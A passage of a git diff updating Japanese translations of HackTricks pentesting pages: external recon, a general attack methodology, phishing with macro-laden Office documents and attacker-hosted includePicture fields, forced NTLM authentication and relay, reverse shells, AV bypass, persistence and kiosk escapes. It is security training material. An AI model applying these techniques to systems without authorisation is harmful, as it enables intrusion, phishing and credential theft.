http://10.10.10.208 -H 'Origin: http: ### **モニタリング** -**新しいサブドメイン**が作成されたかどうかを監視するには、**Certificate Transparency**ログを監視することができます。[**sublert**](https://github.com/yassineaboukir/sublert/blob/master/sublert.py)がそれを行います。 +**新しいサブドメイン**が作成されたかどうかを**モニタリング**するには、**Certificate Transparency**ログを監視することができます。[**sublert**](https://github.com/yassineaboukir/sublert/blob/master/sublert.py)がそれを行います。 ### **脆弱性の検索** 可能な[**サブドメインテイクオーバー**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover)を確認してください。\ もし**サブドメイン**が**S3バケット**に**ポイント**している場合は、[**権限を確認**](../../network-services-pentesting/pentesting-web/buckets/index.html)してください。 -もし**異なるIPを持つサブドメイン**を見つけた場合は、**基本的な脆弱性スキャン**(NessusまたはOpenVASを使用)と、**nmap/masscan/shodan**を使用した[**ポートスキャン**](../pentesting-network/index.html#discovering-hosts-from-the-outside)を実行する必要があります。実行中のサービスによっては、**この本の中で「攻撃」するためのいくつかのトリックを見つけることができます**。\ -&#xNAN;_Noteとして、サブドメインがクライアントによって制御されていないIP内にホストされている場合があるため、スコープ外であることに注意してください。_ +もし**資産発見**で見つけたものとは異なるIPを持つ**サブドメイン**を見つけた場合は、**基本的な脆弱性スキャン**(NessusやOpenVASを使用)と、**nmap/masscan/shodan**を使った[**ポートスキャン**](../pentesting-network/index.html#discovering-hosts-from-the-outside)を実行するべきです。実行中のサービスによっては、**この本の中でそれらを「攻撃」するためのいくつかのトリックを見つけることができます。**\ +_Noteとして、時にはサブドメインがクライアントによって制御されていないIP内にホストされていることがあるため、スコープ外であることに注意してください。_ ## IPs -初期のステップで**いくつかのIP範囲、ドメイン、サブドメイン**を**見つけたかもしれません**。\ +初期のステップで**いくつかのIP範囲、ドメイン、サブドメイン**を**見つけたかもしれません。**\ これらの範囲から**すべてのIPを収集する**時です。また、**ドメイン/サブドメイン(DNSクエリ)**のために。 -以下の**無料API**のサービスを使用すると、**ドメインとサブドメインによって使用された以前のIP**も見つけることができます。これらのIPはまだクライアントによって所有されている可能性があり、[**CloudFlareのバイパス**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)を見つける手助けになるかもしれません。 +以下の**無料API**のサービスを使用すると、**ドメインやサブドメインによって使用された以前のIP**も見つけることができます。これらのIPはまだクライアントに所有されている可能性があり、[**CloudFlareバイパス**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)を見つける手助けになるかもしれません。 - [**https://securitytrails.com/**](https://securitytrails.com/) @@ -474,7 +474,7 @@ ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http: ### **脆弱性の検索** -**CDNに属さないすべてのIPをポートスキャン**してください(そこでは興味深いものは見つからない可能性が高いです)。発見された実行中のサービスでは、**脆弱性を見つけることができるかもしれません**。 +**CDNに属さないすべてのIPをポートスキャン**してください(そこでは興味深いものは見つからない可能性が高いです)。発見された実行中のサービスでは、**脆弱性を見つけることができるかもしれません。** **ホストをスキャンする方法に関する**[**ガイド**](../pentesting-network/index.html)を見つけてください。 @@ -482,11 +482,11 @@ ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http: > すべての企業とその資産を見つけ、スコープ内のIP範囲、ドメイン、サブドメインを知っています。ウェブサーバーを探す時です。 -前のステップで、**発見されたIPとドメインのリコン**をすでに実行している可能性があるため、**すべての可能なウェブサーバーをすでに見つけているかもしれません**。しかし、見つけていない場合は、スコープ内のウェブサーバーを検索するための**迅速なトリック**を見ていきます。 +前のステップで、**発見されたIPやドメインのリコン**をすでに実行している可能性があるため、**すべての可能なウェブサーバーをすでに見つけているかもしれません。**しかし、見つけていない場合は、スコープ内のウェブサーバーを探すための**迅速なトリック**を見ていきます。 -これは**ウェブアプリの発見**に**特化**しているため、**脆弱性**と**ポートスキャン**も実行する必要があります(**スコープによって許可されている場合**)。 +これは**ウェブアプリの発見**に向けられているため、**脆弱性**と**ポートスキャン**も実行するべきです(**スコープによって許可されている場合**)。 -**ウェブ**サーバーに関連する**オープンポート**を発見するための**迅速な方法**は、[**masscan**を使用することができます](../pentesting-network/index.html#http-port-discovery)。\ +**ウェブ**サーバーに関連する**オープンポート**を発見するための**迅速な方法**は、[**masscan**を使用することができます。](../pentesting-network/index.html#http-port-discovery)\ ウェブサーバーを探すためのもう一つの便利なツールは、[**httprobe**](https://github.com/tomnomnom/httprobe)**、**[**fprobe**](https://github.com/theblackturtle/fprobe)および[**httpx**](https://github.com/projectdiscovery/httpx)です。ドメインのリストを渡すだけで、ポート80(http)と443(https)に接続しようとします。さらに、他のポートを試すように指示することもできます: ```bash cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443 @@ -494,11 +494,11 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a ``` ### **スクリーンショット** -すべての**ウェブサーバー**を発見したので、どこから始めればよいかわからないかもしれません。そこで、シンプルにすべてのスクリーンショットを撮ることから始めましょう。**メインページ**を**見るだけ**で、**脆弱性**がある可能性の高い**奇妙な**エンドポイントを見つけることができます。 +すべての**ウェブサーバー**を発見したので、どこから始めるべきか**わからない**かもしれません。そこで、シンプルにすべてのスクリーンショットを撮ることから始めましょう。**メインページ**を**見る**だけで、**脆弱性**が**ありそうな**奇妙なエンドポイントを見つけることができます。 提案されたアイデアを実行するには、[**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness)、[**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot)、[**Aquatone**](https://github.com/michenriksen/aquatone)、[**Shutter**](https://shutter-project.org/downloads/third-party-packages/)、[**Gowitness**](https://github.com/sensepost/gowitness)または[**webscreenshot**](https://github.com/maaaaz/webscreenshot)**を使用できます。** -さらに、[**eyeballer**](https://github.com/BishopFox/eyeballer)を使用して、すべての**スクリーンショット**を確認し、**脆弱性を含む可能性が高いもの**とそうでないものを教えてもらうことができます。 +さらに、[**eyeballer**](https://github.com/BishopFox/eyeballer)を使用して、すべての**スクリーンショット**を確認し、**脆弱性を含む可能性が高い**ものとそうでないものを教えてもらうことができます。 ## パブリッククラウド資産 @@ -514,11 +514,11 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a 得られたワードリストを使用して、[**cloud_enum**](https://github.com/initstring/cloud_enum)**、** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**、** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **または** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**を使用できます。** -クラウド資産を探す際には、**AWSのバケットだけでなく、他のものも探す**必要があることを忘れないでください。 +クラウド資産を探す際には、**AWSのバケットだけでなく、他のものも探す**べきです。 ### **脆弱性の検索** -**オープンバケットや公開されたクラウド機能**などを見つけた場合は、それに**アクセスして**、何を提供しているのか、どのように悪用できるかを確認する必要があります。 +**オープンバケットや公開されたクラウド機能**などを見つけた場合は、それに**アクセス**して、何を提供しているのか、そしてそれを悪用できるかどうかを確認するべきです。 ## メール @@ -531,7 +531,7 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a ### **脆弱性の検索** -メールは、**ウェブログインや認証サービス**(SSHなど)を**ブルートフォース**する際に役立ちます。また、**フィッシング**にも必要です。さらに、これらのAPIは、フィッシングキャンペーンに役立つ**メールの背後にいる人物**に関するさらなる**情報**を提供します。 +メールは、**ウェブログインや認証サービス**(SSHなど)を**ブルートフォース**する際に役立ちます。また、**フィッシング**にも必要です。さらに、これらのAPIは、フィッシングキャンペーンに役立つ、メールの背後にいる**人物に関する情報**を提供します。 ## 資格情報の漏洩 @@ -546,7 +546,7 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a ## 秘密の漏洩 -資格情報の漏洩は、**機密情報が漏洩して販売された**企業のハッキングに関連しています。ただし、企業は、これらのデータベースに情報がない**他の漏洩**の影響を受ける可能性があります: +資格情報の漏洩は、**機密情報が漏洩し販売された**企業のハッキングに関連しています。ただし、企業は、これらのデータベースに情報がない**他の漏洩**の影響を受ける可能性があります: ### Githubの漏洩 @@ -565,20 +565,20 @@ github-leaked-secrets.md ### Pasteの漏洩 -時には、攻撃者や単なる従業員が**会社のコンテンツをペーストサイトに公開**します。これには**機密情報**が含まれている場合もあれば、含まれていない場合もありますが、検索するのは非常に興味深いです。\ +時には攻撃者や単なる従業員が**会社のコンテンツをペーストサイトに公開**します。これには**機密情報**が含まれている場合もあれば、含まれていない場合もありますが、検索するのは非常に興味深いです。\ [**Pastos**](https://github.com/carlospolop/Pastos)というツールを使用して、80以上のペーストサイトを同時に検索できます。 ### Google Dorks -古くても金の価値があるGoogle Dorksは、**そこにあるべきでない情報を見つける**のに常に役立ちます。唯一の問題は、[**google-hacking-database**](https://www.exploit-db.com/google-hacking-database)に手動で実行できない**数千**の可能なクエリが含まれていることです。したがって、お気に入りの10個を取得するか、[**Gorks**](https://github.com/carlospolop/Gorks)のような**ツールを使用してすべてを実行**することができます。 +古くても金の価値があるGoogle Dorksは、**そこにあるべきでない情報を見つける**のに常に役立ちます。唯一の問題は、[**google-hacking-database**](https://www.exploit-db.com/google-hacking-database)に、手動で実行できない**数千**の可能なクエリが含まれていることです。したがって、お気に入りの10個を取得するか、**[**Gorks**](https://github.com/carlospolop/Gorks)**のようなツールを使用してすべてを実行することができます。** -_すべてのデータベースを通常のGoogleブラウザを使用して実行しようとするツールは、非常に早くGoogleにブロックされるため、決して終わらないことに注意してください。_ +_すべてのデータベースを通常のGoogleブラウザを使用して実行しようとするツールは、非常に早くGoogleにブロックされるため、決して終わりません。_ ### **脆弱性の検索** **有効な漏洩した**資格情報やAPIトークンを見つけた場合、これは非常に簡単な勝利です。 -## 公開コードの脆弱性 +## パブリックコードの脆弱性 企業が**オープンソースコード**を持っていることがわかった場合、それを**分析**して**脆弱性**を探すことができます。 @@ -602,16 +602,16 @@ _すべてのデータベースを通常のGoogleブラウザを使用して実 > おめでとうございます!この時点で、**すべての基本的な列挙**をすでに実行しています。はい、これは基本的なものであり、さらに多くの列挙が可能です(後でさらにトリックを見ていきます)。 -したがって、すでに次のことを行っています: +したがって、すでに以下のことを行っています: 1. スコープ内のすべての**企業**を見つけた 2. 企業に属するすべての**資産**を見つけた(スコープ内で脆弱性スキャンを実行) 3. 企業に属するすべての**ドメイン**を見つけた -4. ドメインのすべての**サブドメイン**を見つけた(サブドメインの乗っ取りはありますか?) +4. ドメインのすべての**サブドメイン**を見つけた(サブドメインの乗っ取りは?) 5. スコープ内のすべての**IP**(CDNからのものとそうでないもの)を見つけた -6. すべての**ウェブサーバー**を見つけ、**スクリーンショット**を撮った(深く見る価値のある奇妙なものはありますか?) +6. すべての**ウェブサーバー**を見つけ、それらの**スクリーンショット**を撮った(深く見る価値のある奇妙なものは?) 7. 企業に属するすべての**潜在的なパブリッククラウド資産**を見つけた -8. **メール**、**資格情報の漏洩**、および**秘密の漏洩**があり、**非常に簡単に大きな勝利を得ることができる** +8. **メール**、**資格情報の漏洩**、および**秘密の漏洩**があり、**非常に簡単に大きな勝利**を得ることができる 9. 見つけたすべてのウェブを**ペンテスト** ## **フルリコン自動ツール** @@ -621,7 +621,7 @@ _すべてのデータベースを通常のGoogleブラウザを使用して実 - [**https://github.com/yogeshojha/rengine**](https://github.com/yogeshojha/rengine) - [**https://github.com/j3ssie/Osmedeus**](https://github.com/j3ssie/Osmedeus) - [**https://github.com/six2dez/reconftw**](https://github.com/six2dez/reconftw) -- [**https://github.com/hackerspider1/EchoPwn**](https://github.com/hackerspider1/EchoPwn) - 少し古く、更新されていません +- [**https://github.com/hackerspider1/EchoPwn**](https://github.com/hackerspider1/EchoPwn) - 少し古く、更新されていない ## **参考文献** diff --git a/src/generic-methodologies-and-resources/pentesting-methodology.md b/src/generic-methodologies-and-resources/pentesting-methodology.md index f93bc0cd6..00fbb5629 100644 --- a/src/generic-methodologies-and-resources/pentesting-methodology.md +++ b/src/generic-methodologies-and-resources/pentesting-methodology.md @@ -1,9 +1,9 @@ -# ペンテスト手法 +# ペンテスティング手法 {{#include ../banners/hacktricks-training.md}} -## ペンテスト手法 +## ペンテスティング手法
@@ -11,7 +11,7 @@ _Hacktricksのロゴは_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/) ### 0- 物理攻撃 -攻撃したいマシンに**物理アクセス**がありますか?いくつかの[**物理攻撃に関するトリック**](../hardware-physical-access/physical-attacks.md)や[**GUIアプリケーションからの脱出に関するトリック**](../hardware-physical-access/escaping-from-gui-applications.md)を読むべきです。 +攻撃したいマシンに**物理的アクセス**がありますか?いくつかの[**物理攻撃に関するトリック**](../hardware-physical-access/physical-attacks.md)や[**GUIアプリケーションからの脱出に関するトリック**](../hardware-physical-access/escaping-from-gui-applications.md)を読むべきです。 ### 1 - [ネットワーク内のホストを発見する](pentesting-network/index.html#discovering-hosts)/ [会社の資産を発見する](external-recon-methodology/index.html) @@ -23,7 +23,7 @@ _Hacktricksのロゴは_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/) ### **2-** [**ネットワークで楽しむ**](pentesting-network/index.html) **(内部)** **このセクションは内部テストを実施している場合にのみ適用されます。**\ -ホストを攻撃する前に、**ネットワークからいくつかの認証情報を盗む**か、**データをスニッフィング**して**パッシブ/アクティブ(MitM)**にネットワーク内で何が見つかるかを学ぶことを好むかもしれません。[**ペンテストネットワーク**](pentesting-network/index.html#sniffing)を読むことができます。 +ホストを攻撃する前に、**ネットワークからいくつかの認証情報を盗む**か、**データをスニッフィング**して**パッシブ/アクティブ(MitM)**にネットワーク内で何が見つかるかを学ぶことを好むかもしれません。[**ペンテスティングネットワーク**](pentesting-network/index.html#sniffing)を読むことができます。 ### 3- [ポートスキャン - サービス発見](pentesting-network/index.html#scanning-hosts) @@ -33,20 +33,20 @@ _Hacktricksのロゴは_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/) どのサービスが実行されているか、そしておそらくそのバージョンを知ったら、**既知の脆弱性を検索する**必要があります。運が良ければ、シェルを取得するためのエクスプロイトがあるかもしれません... -### **5-** ペンテストサービス +### **5-** ペンテスティングサービス -実行中のサービスに特別なエクスプロイトがない場合は、**各サービスの一般的な誤設定を探す**べきです。 +実行中のサービスに特別なエクスプロイトがない場合は、各サービスの**一般的な誤設定を探す**べきです。 -**この本の中には、最も一般的なサービスをペンテストするためのガイドがあります**(あまり一般的でないサービスも含む)。左のインデックスで**_**ペンテスト**_**セクションを検索してください**(サービスはデフォルトポート順に並んでいます)。 +**この本の中には、最も一般的なサービスをペンテストするためのガイドがあります**(あまり一般的でないサービスも含まれています)。左のインデックスで**_**ペンテスティング**_ **セクションを探してください**(サービスはデフォルトポート順に並んでいます)。 -**特に** [**ウェブペンテスト**](../network-services-pentesting/pentesting-web/index.html) **部分に特別な言及をしたいと思います(最も広範な部分です)。**\ +**特に** [**ペンテスティングウェブ**](../network-services-pentesting/pentesting-web/index.html) **部分に特別な言及をしたいと思います(最も広範な部分です)。**\ また、[**ソフトウェアの既知の脆弱性を見つける方法**](../generic-hacking/search-exploits.md)に関する小さなガイドもここにあります。 -**インデックスにサービスがない場合は、Googleで他のチュートリアルを検索してください**。**追加してほしい場合は教えてください。** Googleで**何も見つからない場合は、**自分自身でブラインドペンテストを実施してください**。**サービスに接続し、ファジングし、応答を読むことから始めることができます**(あれば)。 +**インデックスにサービスがない場合は、Googleで他のチュートリアルを検索してください**。**追加してほしい場合は教えてください。** Googleで**何も見つからない場合は、自分で**ブラインドペンテスティング**を行い、**サービスに接続し、ファジングし、応答を読む**ことから始めることができます(あれば)。 #### 5.1 自動ツール -**自動脆弱性評価を実行できるツールもいくつかあります。** **[**Legion**](https://github.com/carlospolop/legion)**を試してみることをお勧めします。これは、私が作成したツールで、この本にあるペンテストサービスに関するノートに基づいています。** +**自動脆弱性評価**を実行できるツールもいくつかあります。**[**Legion**](https://github.com/carlospolop/legion)**を試してみることをお勧めします。これは、私が作成したツールで、この本にあるペンテスティングサービスに関するノートに基づいています。** #### **5.2 ブルートフォースサービス** @@ -58,9 +58,9 @@ _Hacktricksのロゴは_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/) ### **7-** [**シェルを取得する**](../generic-hacking/reverse-shells/index.html) -何らかの方法で、**被害者でコードを実行する方法を見つけるべきです**。その後、[**リバースシェルを取得するためにシステム内で使用できる可能性のあるツールのリストが非常に役立ちます**](../generic-hacking/reverse-shells/index.html)。 +何らかの方法で、**被害者でコードを実行する方法を見つけるべきです**。その後、[システム内でリバースシェルを取得するために使用できる可能性のあるツールのリストが非常に役立ちます](../generic-hacking/reverse-shells/index.html)。 -特にWindowsでは、**アンチウイルスを回避するための助けが必要かもしれません**:[**このページを確認してください**](../windows-hardening/av-bypass.md)**。**\\ +特にWindowsでは、**アンチウイルスを回避するための助けが必要かもしれません**:[**このページを確認してください**](../windows-hardening/av-bypass.md)**。** ### 8- 内部 @@ -72,7 +72,7 @@ _Hacktricksのロゴは_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/) ### **9 -** [**データ抽出**](../generic-hacking/exfiltration.md) -おそらく、**被害者からデータを抽出する**必要があるか、**何かを導入する**必要があるでしょう(特権昇格スクリプトなど)。**ここに、これらの目的で使用できる一般的なツールに関する** [**投稿があります**](../generic-hacking/exfiltration.md)**。** +おそらく、**被害者からデータを抽出する**必要があるか、**何かを導入する**必要があるかもしれません(特権昇格スクリプトのような)。**ここに、これらの目的で使用できる一般的なツールに関する** [**投稿があります**](../generic-hacking/exfiltration.md)**。** ### **10- 特権昇格** @@ -80,38 +80,38 @@ _Hacktricksのロゴは_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/) ボックス内で**root/Administrator**でない場合は、**特権を昇格させる方法を見つけるべきです**。\ ここに、**[Linux](../linux-hardening/privilege-escalation/index.html)**と**[Windows](../windows-hardening/windows-local-privilege-escalation/index.html)**でローカルに特権を昇格させるためのガイドがあります。\ -また、**Windowsがどのように機能するかに関するこのページも確認してください**: +また、**Windowsがどのように機能するかに関するページを確認してください**: - [**認証、資格情報、トークン特権、UAC**](../windows-hardening/authentication-credentials-uac-and-efs/index.html) - [**NTLMの動作**](../windows-hardening/ntlm/index.html) - Windowsで[**資格情報を盗む方法**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md) - [_**Active Directory**_に関するいくつかのトリック](../windows-hardening/active-directory-methodology/index.html) -**WindowsとLinuxのローカル特権昇格パスを列挙するための最良のツールも確認してください**:[**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) +**WindowsとLinuxのローカル特権昇格パスを列挙するための最良のツールを確認するのを忘れないでください**:[**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) #### **10.2- ドメイン特権昇格** -ここに、[**Active Directoryで特権を列挙、昇格、持続させるための最も一般的なアクションを説明する手法**](../windows-hardening/active-directory-methodology/index.html)があります。これはセクションのサブセクションに過ぎませんが、このプロセスはペンテスト/レッドチームの任務において**非常にデリケート**である可能性があります。 +ここに、[**Active Directoryで特権を列挙、昇格、持続するための最も一般的なアクションを説明する手法**](../windows-hardening/active-directory-methodology/index.html)があります。これはセクションのサブセクションに過ぎませんが、このプロセスはペンテスティング/レッドチームの任務において**非常にデリケート**である可能性があります。 ### 11 - POST #### **11**.1 - ルーティング ホスト内でさらに多くの**パスワード**を見つけることができるか、**ユーザーの特権**で他のマシンに**アクセス**できるか確認してください。\ -ここに、Windowsで[**パスワードをダンプするさまざまな方法**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md)があります。 +ここで、[**Windowsでパスワードをダンプするさまざまな方法**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md)を見つけてください。 #### 11.2 - 持続性 **システムを再度攻撃する必要がないように、2つまたは3つの異なる持続メカニズムを使用してください。**\ -**ここに、Active Directoryでの** [**持続性のトリック**](../windows-hardening/active-directory-methodology/index.html#persistence)**があります。** +**ここに、Active Directoryに関するいくつかの** [**持続性のトリックがあります**](../windows-hardening/active-directory-methodology/index.html#persistence)**。** TODO: WindowsとLinuxの持続性ポストを完成させる ### 12 - ピボッティング -**収集した資格情報**で他のマシンにアクセスできるか、または**新しいホストを発見してスキャンする**必要があるかもしれません(ペンテスト手法を再度開始)。\ -この場合、トンネリングが必要になるかもしれません。ここに[**トンネリングに関する投稿があります**](../generic-hacking/tunneling-and-port-forwarding.md)。\ -また、[Active Directoryペンテスト手法](../windows-hardening/active-directory-methodology/index.html)に関する投稿も必ず確認してください。そこでは、横移動、特権昇格、資格情報のダンプに関するクールなトリックが見つかります。\ +**収集した資格情報**を使用して他のマシンにアクセスできるか、または**新しいホストを発見してスキャンする**必要があるかもしれません(被害者が接続されている新しいネットワーク内でペンテスティング手法を再スタート)。\ +この場合、トンネリングが必要になるかもしれません。ここで[**トンネリングに関する投稿を見つけることができます**](../generic-hacking/tunneling-and-port-forwarding.md)。\ +また、[Active Directoryペンテスティング手法](../windows-hardening/active-directory-methodology/index.html)に関する投稿も確認するべきです。そこでは、横移動、特権昇格、資格情報のダンプに関するクールなトリックが見つかります。\ [**NTLM**](../windows-hardening/ntlm/index.html)に関するページも確認してください。Windows環境でピボッティングするのに非常に役立つかもしれません。 ### もっと diff --git a/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md b/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md index 8bc5743b3..7201d9128 100644 --- a/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md +++ b/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md @@ -4,9 +4,9 @@ ## Officeドキュメント -Microsoft Wordはファイルを開く前にファイルデータの検証を行います。データ検証は、OfficeOpenXML標準に対するデータ構造の識別の形で行われます。データ構造の識別中にエラーが発生した場合、分析中のファイルは開かれません。 +Microsoft Wordはファイルを開く前にファイルデータの検証を行います。データ検証は、OfficeOpenXML標準に対してデータ構造の識別という形で行われます。データ構造の識別中にエラーが発生した場合、分析中のファイルは開かれません。 -通常、マクロを含むWordファイルは`.docm`拡張子を使用します。しかし、ファイル拡張子を変更することでファイルの名前を変更し、マクロ実行機能を保持することが可能です。\ +通常、マクロを含むWordファイルは`.docm`拡張子を使用します。しかし、ファイル拡張子を変更することでファイル名を変更し、マクロの実行機能を保持することが可能です。\ 例えば、RTFファイルは設計上マクロをサポートしていませんが、DOCMファイルをRTFに名前を変更すると、Microsoft Wordによって処理され、マクロの実行が可能になります。\ 同じ内部構造とメカニズムは、Microsoft Office Suiteのすべてのソフトウェア(Excel、PowerPointなど)に適用されます。 @@ -14,12 +14,12 @@ Microsoft Wordはファイルを開く前にファイルデータの検証を行 ```bash assoc | findstr /i "word excel powerp" ``` -DOCXファイルは、マクロを含むリモートテンプレートを参照することができ(ファイル – オプション – アドイン – 管理: テンプレート – 移動)、マクロを「実行」することもできます。 +DOCXファイルは、マクロを含むリモートテンプレートを参照することができ(ファイル – オプション – アドイン – 管理: テンプレート – 移動)、マクロを「実行」することができます。 ### 外部画像の読み込み 次に進む: _挿入 --> クイックパーツ --> フィールド_\ -&#xNAN;_**カテゴリ**: リンクと参照, **フィールド名**: includePicture, **ファイル名またはURL**:_ http://\/whatever +_**カテゴリ**: リンクと参照, **フィールド名**: includePicture, **ファイル名またはURL**:_ http://\/whatever ![](<../../images/image (155).png>) @@ -66,7 +66,7 @@ proc.Create "powershell ``` #### メタデータを手動で削除する -**ファイル > 情報 > ドキュメントの検査 > ドキュメントの検査**に移動すると、ドキュメントインスペクターが表示されます。**検査**をクリックし、次に**ドキュメントのプロパティと個人情報**の横にある**すべて削除**をクリックします。 +**ファイル > 情報 > ドキュメントの検査 > ドキュメントの検査**に移動すると、ドキュメントインスペクターが表示されます。**検査**をクリックし、次に**ドキュメントのプロパティと個人情報の隣にあるすべてを削除**をクリックします。 #### ドキュメント拡張子 @@ -140,9 +140,9 @@ self.close ``` ## NTLM認証の強制 -**リモートでNTLM認証を強制する**方法はいくつかあります。たとえば、ユーザーがアクセスするメールやHTMLに**見えない画像**を追加することができます(HTTP MitMでも?)。または、被害者に**フォルダを開くだけで**認証を**トリガー**する**ファイルのアドレス**を送信することもできます。 +**リモートでNTLM認証を強制する**方法はいくつかあります。たとえば、ユーザーがアクセスするメールやHTMLに**見えない画像**を追加することができます(HTTP MitMでも?)。または、被害者に**フォルダを開くだけで認証をトリガーするファイルのアドレス**を送信することもできます。 -**次のページでこれらのアイデアやその他を確認してください:** +**以下のページでこれらのアイデアやその他を確認してください:** {{#ref}} ../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md @@ -157,6 +157,6 @@ self.close ハッシュや認証を盗むだけでなく、**NTLMリレー攻撃を実行する**こともできることを忘れないでください: - [**NTLMリレー攻撃**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack) -- [**AD CS ESC8 (NTLMリレーから証明書へ)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8) +- [**AD CS ESC8 (証明書へのNTLMリレー)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/hardware-physical-access/escaping-from-gui-applications.md b/src/hardware-physical-access/escaping-from-gui-applications.md index 820cccfdc..55bc3a2ee 100644 --- a/src/hardware-physical-access/escaping-from-gui-applications.md +++ b/src/hardware-physical-access/escaping-from-gui-applications.md @@ -8,14 +8,14 @@ | コンポーネント | アクション | | ------------ | ------------------------------------------------------------------ | -| 電源ボタン | デバイスをオフにして再度オンにすると、スタート画面が表示される場合があります | +| 電源ボタン | デバイスをオフにして再度オンにすることで、スタート画面が表示される場合があります | | 電源ケーブル | 電源が一時的に切れたときにデバイスが再起動するか確認します | -| USBポート | 物理キーボードを接続してショートカットを増やします | +| USBポート | より多くのショートカットを持つ物理キーボードを接続します | | Ethernet | ネットワークスキャンやスニッフィングにより、さらなる悪用が可能になる場合があります | ## GUIアプリケーション内での可能なアクションの確認 -**一般的なダイアログ**は、**ファイルの保存**、**ファイルのオープン**、フォントや色の選択などのオプションです。これらの多くは**完全なエクスプローラー機能**を提供します。つまり、これらのオプションにアクセスできれば、エクスプローラーの機能にアクセスできるということです: +**一般的なダイアログ**は、**ファイルの保存**、**ファイルのオープン**、フォントや色の選択などのオプションです... ほとんどのものは**完全なエクスプローラー機能を提供します**。これは、これらのオプションにアクセスできれば、エクスプローラーの機能にアクセスできることを意味します: - 閉じる/名前を付けて閉じる - 開く/別のアプリで開く @@ -24,7 +24,7 @@ - 検索 - スキャン -以下のことができるか確認してください: +次のことができるか確認してください: - 新しいファイルを修正または作成する - シンボリックリンクを作成する @@ -37,7 +37,7 @@ #### Windows -例えば _cmd.exe、command.com、Powershell/Powershell ISE、mmc.exe、at.exe、taskschd.msc..._ コマンドを実行するために使用できるバイナリをさらに見つけるには、こちらを参照してください: [https://lolbas-project.github.io/](https://lolbas-project.github.io) +例えば_cmd.exe、command.com、Powershell/Powershell ISE、mmc.exe、at.exe、taskschd.msc..._ コマンドを実行するために使用できる他のバイナリをここで見つけてください: [https://lolbas-project.github.io/](https://lolbas-project.github.io) #### \*NIX \_\_ @@ -47,7 +47,7 @@ _bash、sh、zsh..._ さらに詳しくは: [https://gtfobins.github.io/](https: ### パス制限の回避 -- **環境変数**: いくつかのパスを指している環境変数がたくさんあります +- **環境変数**: いくつかのパスを指している多くの環境変数があります - **他のプロトコル**: _about:, data:, ftp:, file:, mailto:, news:, res:, telnet:, view-source:_ - **シンボリックリンク** - **ショートカット**: CTRL+N (新しいセッションを開く)、CTRL+R (コマンドを実行)、CTRL+SHIFT+ESC (タスクマネージャ)、Windows+E (エクスプローラーを開く)、CTRL-B、CTRL-I (お気に入り)、CTRL-H (履歴)、CTRL-L、CTRL-O (ファイル/オープンダイアログ)、CTRL-P (印刷ダイアログ)、CTRL-S (名前を付けて保存) @@ -68,13 +68,13 @@ _bash、sh、zsh..._ さらに詳しくは: [https://gtfobins.github.io/](https: | %TMP% | %USERDOMAIN% | %USERNAME% | | %USERPROFILE% | %WINDIR% | | -### バイナリをダウンロードする +### バイナリのダウンロード Console: [https://sourceforge.net/projects/console/](https://sourceforge.net/projects/console/)\ Explorer: [https://sourceforge.net/projects/explorerplus/files/Explorer%2B%2B/](https://sourceforge.net/projects/explorerplus/files/Explorer%2B%2B/)\ レジストリエディタ: [https://sourceforge.net/projects/uberregedit/](https://sourceforge.net/projects/uberregedit/) -### ブラウザからファイルシステムにアクセスする +### ブラウザからファイルシステムにアクセス | PATH | PATH | PATH | PATH | | ------------------- | ----------------- | ------------------ | ------------------- | @@ -90,9 +90,9 @@ Explorer: [https://sourceforge.net/projects/explorerplus/files/Explorer%2B%2B/]( - スティッキーキー – SHIFTを5回押す - マウスキー – SHIFT+ALT+NUMLOCK -- ハイコントラスト – SHIFT+ALT+PRINTSCN -- トグルキー – NUMLOCKを5秒間保持する -- フィルターキー – 右SHIFTを12秒間保持する +- 高コントラスト – SHIFT+ALT+PRINTSCN +- トグルキー – NUMLOCKを5秒間保持 +- フィルターキー – 右SHIFTを12秒間保持 - WINDOWS+F1 – Windows検索 - WINDOWS+D – デスクトップを表示 - WINDOWS+E – Windowsエクスプローラーを起動 @@ -122,11 +122,11 @@ Explorer: [https://sourceforge.net/projects/explorerplus/files/Explorer%2B%2B/]( #### '画像ツールバー' -画像をクリックすると左上に表示されるツールバーです。保存、印刷、メール送信、エクスプローラーで「マイピクチャ」を開くことができます。KioskはInternet Explorerを使用している必要があります。 